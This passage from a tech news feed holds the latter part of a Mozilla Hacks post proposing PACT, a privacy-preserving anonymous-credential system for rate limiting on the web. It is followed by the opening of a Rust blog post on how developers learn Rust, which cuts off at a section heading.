<p class="c9"><span class="c0">Apple’s Private Access Tokens, <a href="https://developer.apple.com/news/?id=huqjyh7k">deployed</a> across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.</span></p>
<p class="c9"><span class="c1">However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. </span><span class="c1">Due to PAT’s technical design</span><sup class="c1"><a href="https://hacks.mozilla.org/?p=48374#:~:text=PAT%20requires">[1]</a></sup><span class="c1">, there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would</span><span class="c1"> become tied to having bought expensive hardware from a small, hard to change set of vendors</span><span class="c1">. </span></p>
<p class="c9"><span class="c1">Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.</span></p>
<h3 class="c24"><span class="c2 c1">A Better Path Forward </span></h3>
<p class="c24"><span class="c1">Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they</span><span class="c0"> don’t actually need to know </span><span class="c1">the user’s</span><span class="c0"> identity or </span><span class="c1">receive cryptographic</span><span class="c0"> proof that they’re running approved softwar</span><span class="c1">e. If sites knew their visitors were restricted to a rate </span><span class="c1">limit</span><span class="c1"> set by a site, that would be enough.  </span></p>
<p class="c34"><span class="c1">Rate limits</span><span class="c0"> only make sense if </span><span class="c1">they’re</span><span class="c0"> </span><span class="c1">tied to</span><span class="c0"> something scarce; something an attacker can’t cheaply replicate to evade the limit. </span><span class="c0">Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit. </span></p>
<p class="c56"><span class="c1">However, </span><span class="c0">hardware is just one option for </span><span class="c1">scarcity</span><span class="c0">. Anything a user already has that an attacker can’t trivially spin up at scale will work</span><span class="c1">: e</span><span class="c0">mail addresses and phone numbers are naturally scarce</span><span class="c1">. A paid subscription costs an attacker the same as a real user.  </span><span class="c0">Even maintaining an account on a free service requires </span><span class="c1">some</span><span class="c0"> non-trivial work. </span></p>
<p class="c39"><span class="c0">What if we could use these scarce signals across the web? We</span><span class="c1"> could build </span><span class="c0">an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By </span><span class="c0">opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms. </span></p>
<p class="c39"><span class="c1">As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage. </span></p>
<p class="c35"><span class="c0">The catch is that building </span><span class="c1">a system that can enable this</span><span class="c0"> on the open web whilst </span><span class="c1">maintaining user’s privacy</span><span class="c0"> is genuinely difficult. </span><span class="c1">It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. </span><span class="c0">Letting one site verify a signal from another is </span><span class="c1">the sort of </span><span class="c0">information flow</span><span class="c1"> </span><span class="c0">that privacy-pr</span><span class="c1">eserving </span><span class="c0">browsers have spent the last decade locking down to </span><span class="c1">prevent cross-site tracking</span><span class="c0">. </span></p>
<p class="c35"><span class="c1">Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), </span><span class="c1">it can be a win for both privacy and access.</span></p>
<h3 class="c24"><span class="c2 c1">The Foundations </span></h3>
<p class="c50"><span class="c0">The good news is that the cryptographic foundations for a privacy preserving approach already exist. The </span><span class="c1 c3"><a class="c5" href="https://privacypass.github.io/">Privacy Pass protocol</a></span><span class="c3 c1"><a class="c5" href="https://www.google.com/url?q=https://privacypass.github.io/&amp;sa=D&amp;source=editors&amp;ust=1782228494401139&amp;usg=AOvVaw3uoXdqARBZKjQF5H8uwYKY">,</a></span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.petsymposium.org/2018/files/papers/issue3/popets-2018-0026.pdf">originally developed in 2018</a></span><span class="c0"> to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is </span><span class="c13 c11 c1">unlinkable </span><span class="c0">between issuance and redemption. You prove something to an issuer (e.g. by </span><span class="c1">solving a CAPTCHA</span><span class="c0">), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to. </span></p>
<p><img alt="A diagram showing the protocol flow for Privacy Pass." class="aligncenter size-full wp-image-48375" height="1639" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-1.excalidraw1-scaled.png" width="2560"></p>
<p class="c27"><img alt="" title=""><span class="c20 c1 c57"><strong>Figure 1</strong>: </span><span class="c0"><em>In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.</em> </span></p>
<p class="c52"><span class="c0">Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: </span><span class="c0">Apple</span><span class="c0"> uses it to authenticate users of </span><span class="c3 c1"><a class="c5" href="https://hacks.mozilla.org/feed/">Private Cloud Compute</a></span><span class="c0"> </span><span class="c1">and</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF">Private Rel</a></span><span class="c17 c1"><a class="c5" href="https://www.google.com/url?q=https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF&amp;sa=D&amp;source=editors&amp;ust=1782228494402463&amp;usg=AOvVaw0KGoiSPg-8NLvNvIiSSbPt">ay</a></span><span class="c1"> </span><span class="c0">without linking their activity to their identity, </span><span class="c0">Chrome</span><span class="c0"> uses it for </span><span class="c3 c1"><a class="c5" href="https://github.com/GoogleChrome/ip-protection">two-hop IP protection</a></span><span class="c0">, and </span><span class="c0">Kagi</span><span class="c0"> uses it to provide </span><span class="c17 c1"><a class="c5" href="https://help.kagi.com/kagi/privacy/privacy-pass.html">private search</a></span><span class="c0">. </span><span class="c0">These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them. </span></p>
<p class="c18"><span class="c0">Applying this approach to an open system where any site can act as</span><span class="c0"> an issuer</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://docs.google.com/document/d/1k3QJG2D_Sq4zJiJRn9DfY80hEHuz9UWrJdTt8LbRsMM/edit?tab=t.0#heading=h.r8jxzjcoeumo">brings real challenges</a></span><span class="c0">.</span><span class="c0"> Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. </span><span class="c1">If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. </span><span class="c0">This compounds if </span><span class="c1">sites </span><span class="c0">can learn the set of issuers </span><span class="c1">you have visited</span><span class="c0">, since it becomes a fingerprint which can be used to identify </span><span class="c1">you</span><span class="c0">. </span></p>
<p class="c8"><span class="c3 c1"><a class="c5" href="https://blog.cryptographyengineering.com/2014/11/27/zero-knowledge-proofs-illustrated-primer/">Generic techniques</a></span><span class="c0"> exist for proving a statement in zero knowledge: we can prove that </span><span class="c1">a client</span><span class="c0"> ha</span><span class="c1">s</span><span class="c0"> a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. </span><span class="c0">The generic approach is often slow, but </span><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-orru-zkproof-sigma-protocols-01.html">bespoke approaches</a></span><span class="c0"> tailored to the underlying cryptography can improve this considerably. </span></p>
<p class="c54"><span class="c0">Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, </span><span class="c0">sites are likely to lean towards conservative issuer selection. </span><span class="c1">That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created.</span><span class="c0"> </span></p>
<p class="c32"><span class="c0">To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/partnership-ohttp-prio/">Prio</a></span><span class="c0"> which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour. </span></p>
<p class="c59"><span class="c0">Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per </span><span class="c1">client</span><span class="c0"> basis, for example by increasing rate limits where they become more confident the </span><span class="c1">client</span><span class="c0"> is benign and withdrawing access </span><span class="c1">when abuse is detected</span><span class="c0">. </span></p>
<p class="c47"><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-schlesinger-cfrg-act-00.html">Anonymous Credit Tokens</a></span><span class="c0"> </span><span class="c0">offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing </span><span class="c1">the counter whenever</span><span class="c0"> the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked. </span></p>
<h3 class="c24"><span class="c2 c1">Putting it together </span></h3>
<p class="c19"><span class="c1">So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a </span><a href="https://pactworkshop.com/"><span class="c17 c1">W3C CG Meeting</span></a><span class="c0"> in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens. </span></p>
<p class="c19"><span class="c0">Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an </span><span class="c2 c1">Anchor</span><span class="c0">. To a user who meets the Anchor’s criteria, like having a subscription,</span><span class="c0"> an account in good standing</span><span class="c0">, or a verified phone number, an Anchor issues a batch of </span><span class="c2 c1">Endorsement </span><span class="c0">tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys</span><span class="c1"> </span><span class="c0">scarcity to other sites. </span></p>
<p class="c51"><span class="c0">That’s enough for a simple system where access is </span><span class="c1">either granted or denied</span><span class="c0">. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. </span><span class="c1">The state needed to enforce a rate limit</span><span class="c0"> can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it. </span></p>
<p class="c48"><span class="c0">We’ll call that the party that handles rate limiting for a site a </span><span class="c2 c1">Moderator </span><span class="c0">and the stateful object a </span><span class="c2 c1">Credential</span><span class="c0">. </span><span class="c1">A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. </span><span class="c1">A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit.</span><span class="c0"> </span></p>
<p class="c48"><span class="c0">In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.</span></p>
<p class="c14"><img alt="" title=""><img alt="A diagram showing an overview of the PACT system" class="aligncenter size-full wp-image-48381" height="1655" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw21-scaled.png" width="2560"></p>
<p class="c14"><strong><span class="c1 c20">Figure 2: </span></strong><span class="c1"><em>(1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.</em> </span></p>
<p class="c41"><span class="c0">Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of </span><span class="c1">the </span><span class="c0">Anchors it trusts, but not which one. </span></p>
<p class="c28"><span class="c0">When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as</span><span class="c1"> we would for any other third party site</span><span class="c0">. The unlinkability of </span><span class="c1">Credential</span><span class="c0"> presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it </span><span class="c1">does provide a</span><span class="c0"> new way to grant access without requiring users to give up their privacy. </span></p>
<p class="c28"><span class="c0">Enabling Moderators that cover many sites carries a centralisation risk, simila</span><span class="c1">r </span><span class="c0">to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. Th</span><span class="c1">is</span><span class="c0"> </span><span class="c1">can’t</span><span class="c0"> reverse the centralisation pressure the web already faces, but it </span><span class="c1">ensures this system won’t lead to additional lock-in</span><span class="c0">: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor. </span></p>
<p class="c46"><span class="c0">The </span><span class="c1">system then has three flows</span><span class="c0">.</span><span class="c0"> First, the user </span><span class="c1">receives</span><span class="c0"> Endorsements from an Anchor in the course of normal interaction</span><span class="c1">, based on the Anchor’s positive view of the user</span><span class="c0">. This is </span><span class="c0">a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.</span></p>
<p class="c10"><img alt="" title=""><img alt="A diagram showing the PACT Anchor Flow" class="aligncenter size-full wp-image-48377" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-3.excalidraw1-scaled.png" width="2560"></p>
<p class="c10"><strong><span class="c20 c1">Figure 3</span></strong><span class="c1">: <em>In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.</em></span></p>
<p class="c26"><span class="c0">Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides </span><span class="c13 c11 c1">which </span><span class="c0">Anchor was used, and </span><span class="c1">neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued</span><span class="c0">. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) </span><span class="c1">could be used to</span><span class="c0"> bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.</span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the protocol flow between Anchors and Moderators" class="aligncenter size-full wp-image-48378" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-4.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><span class="c20 c1"><strong>Figure 4</strong></span><span class="c1"><strong>:</strong><em> When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server. </em></span><em><span class="c0"> </span></em></p>
<p class="c25"><span class="c0">Third, as the user browses, the browser presents the Credential and the Moderator updates </span><span class="c1">the internal state of the Credential</span><span class="c0">. The </span><span class="c1">Moderator can reward </span><span class="c0">behaviour that looks benign and </span><span class="c1">penalize suspicious activity</span><span class="c0">, </span><span class="c1">but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers</span><span class="c0">. </span><span class="c0">Revocation falls out of the same mechanism: a Moderator </span><span class="c1">can refuse to return an updated Credential</span><span class="c0">.</span><span class="c0"> </span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the PACT Moderator Flow" class="aligncenter size-full wp-image-48379" height="1618" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><strong><span class="c20 c1">Figure 5</span></strong><span class="c0"><strong>:</strong> <em>The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.</em></span></p>
<p class="c23"><span class="c0">In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving </span><span class="c1">users</span><span class="c0"> with meaningfully less friction. </span></p>
<p class="c16"><span class="c0">AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent </span><span class="c1">behaves.</span><span class="c0"> </span><span class="c1">S</span><span class="c0">ites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. </span><span class="c0">Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism. </span></p>
<p class="c6"><span class="c0">Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be </span><span class="c1">joined</span><span class="c0"> into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: </span><span class="c1">the site only learns if </span><span class="c0">the user has a valid Credential below the rate limit, or </span><span class="c1">nothing</span><span class="c0">. </span><span class="c1">W</span><span class="c0">hen the Moderator updates a </span><span class="c1">Credential</span><span class="c0">, it</span><span class="c0"> adjusts the credentials state without learning what it is.</span></p>
<p class="c6"><span class="c1">The additional privacy given to users from </span><span class="c0">Issuer blinding</span><span class="c1"> makes participating in the system more challenging for Moderators</span><span class="c0">. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor </span><span class="c1">more access</span><span class="c0"> than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial </span><span class="c1">access</span><span class="c0"> has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. </span><span class="c1">However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.</span></p>
<p class="c42"><span class="c0">Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust</span><span class="c1">. M</span><span class="c0">ultiparty computation systems like </span><span class="c0">Prio</span><span class="c0"> enable aggregate scoring without compromising pr</span><span class="c1">ivacy</span><span class="c0">. When users present Credentials, they can provide an encrypted share which identifies the anchor they use</span><span class="c1">d and can be privately aggregated to compute the quality of an issuer.</span></p>
<h3 class="c24"><span class="c2 c1">Next Steps </span></h3>
<p class="c49"><span class="c1">We think the</span><span class="c0"> architecture we</span><span class="c1">’ve </span><span class="c0">sketched </span><span class="c1">for PACT </span><span class="c0">has the right shape, but many of the details still need to be worked out</span><span class="c1"> and the entire system needs rigorous privacy and security analysis.</span></p>
<p class="c45"><span class="c0">We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. </span><span class="c0">We’ll be </span><span class="c1">bringing</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://github.com/Moderation-of-unLinkable-Endorsements">draft specifications</a></span><span class="c1"> to these bodies as soon as they’re ready</span><span class="c0">, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community. </span></p>
<p class="c29"><span class="c0">If successful, we think we can provide a system which will keep the web open and </span><span class="c1">private</span><span class="c0">, while still giving sites the rate-limiting signal they need. </span></p>
<h3 class="c29"><span class="c2 c1">Acknowledgements</span></h3>
<p class="c4"><em><span class="c11 c1">The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot &amp; Cathie Yun.</span></em><span class="c11 c1"><em> </em> </span></p>
<hr class="c58">
<div>
<p class="c31"><a href="https://hacks.mozilla.org/?p=48374#:~:text=%5B1%5D">[1]</a><span class="c0"> PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.</span></p>
</div>
<p>The post <a href="https://hacks.mozilla.org/2026/06/pact-anonymous-credentials-for-the-web/">PACT: Anonymous Credentials for the Web</a> appeared first on <a href="https://hacks.mozilla.org/">Mozilla Hacks - the Web developer blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: The many journeys of learning Rust]]></title>
<description><![CDATA[This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some ...]]></description>
<link>https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:24 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>This is another post in our series covering what we learned through the Vision Doc process. We previously <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">described the overall approach and what we learned about doing user research</a>, we <a href="https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/" rel="external">explored what people love about Rust</a>, <a href="https://blog.rust-lang.org/2026/01/14/what-does-it-take-to-ship-rust-in-safety-critical/" rel="external">dug into what it takes to ship safety-crticial Rust</a>, and <a href="https://blog.rust-lang.org/2026/03/20/rust-challenges/" rel="external">described some of the major challenges that people face when using Rust</a>.</em></p>
<p>In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.</p>
<p>As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#many-paths-to-needing-rust"></a>
Many paths to needing Rust</h3>
<p>The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.</p>
<blockquote>
<p>"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#rust-learning-resources"></a>
Rust learning resources</h3>
<p>Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as <a href="https://doc.rust-lang.org/book/" rel="external">The Rust Programming Language Book</a> and find that sufficient to build on what the compiler was already showing them.</p>
<blockquote>
<p>"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier</p>
</blockquote>
<p>Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as <a href="https://rustlings.rust-lang.org/" rel="external">Rustlings</a>, <a href="https://danielkeep.github.io/tlborm/book/index.html" rel="external">The Little Book of Rust Macros</a>, and <a href="https://rust-unofficial.github.io/too-many-lists/" rel="external">Learn Rust With Entirely Too Many Linked Lists</a>.</p>
<blockquote>
<p>"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant</p>
</blockquote>
<blockquote>
<p>"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage</p>
</blockquote>
<p>These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.</p>
<blockquote>
<p>"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry</p>
</blockquote>
<p>Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#beginner-stumblings-and-unlearning-habits"></a>
Beginner stumblings and unlearning habits</h3>
<p>It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.</p>
<blockquote>
<p>"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of <code>mut</code> and not <code>mut</code> and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT</p>
</blockquote>
<p>We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.</p>
<blockquote>
<p>"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&amp;D Lab</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-to-work-with-the-borrow-checker"></a>
Learning to work with the borrow checker</h3>
<p>We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#the-compiler-as-teacher"></a>
The compiler as teacher</h4>
<p>Rust's diagnostics did the teaching on their own, especially around lifetimes.</p>
<blockquote>
<p>"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs</p>
</blockquote>
<blockquote>
<p>"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-by-doing"></a>
Learning by doing</h4>
<p>Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.</p>
<blockquote>
<p>"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust</p>
</blockquote>
<blockquote>
<p>"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#letting-go-of-clone-guilt"></a>
Letting go of "clone guilt"</h4>
<p>Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.</p>
<blockquote>
<p>"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university</p>
</blockquote>
<p>The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.</p>
<p>We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or <code>Vec</code>s.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#multi-paradigm-but-not-the-oop-some-are-used-to"></a>
Multi-paradigm, but not the OOP some are used to</h3>
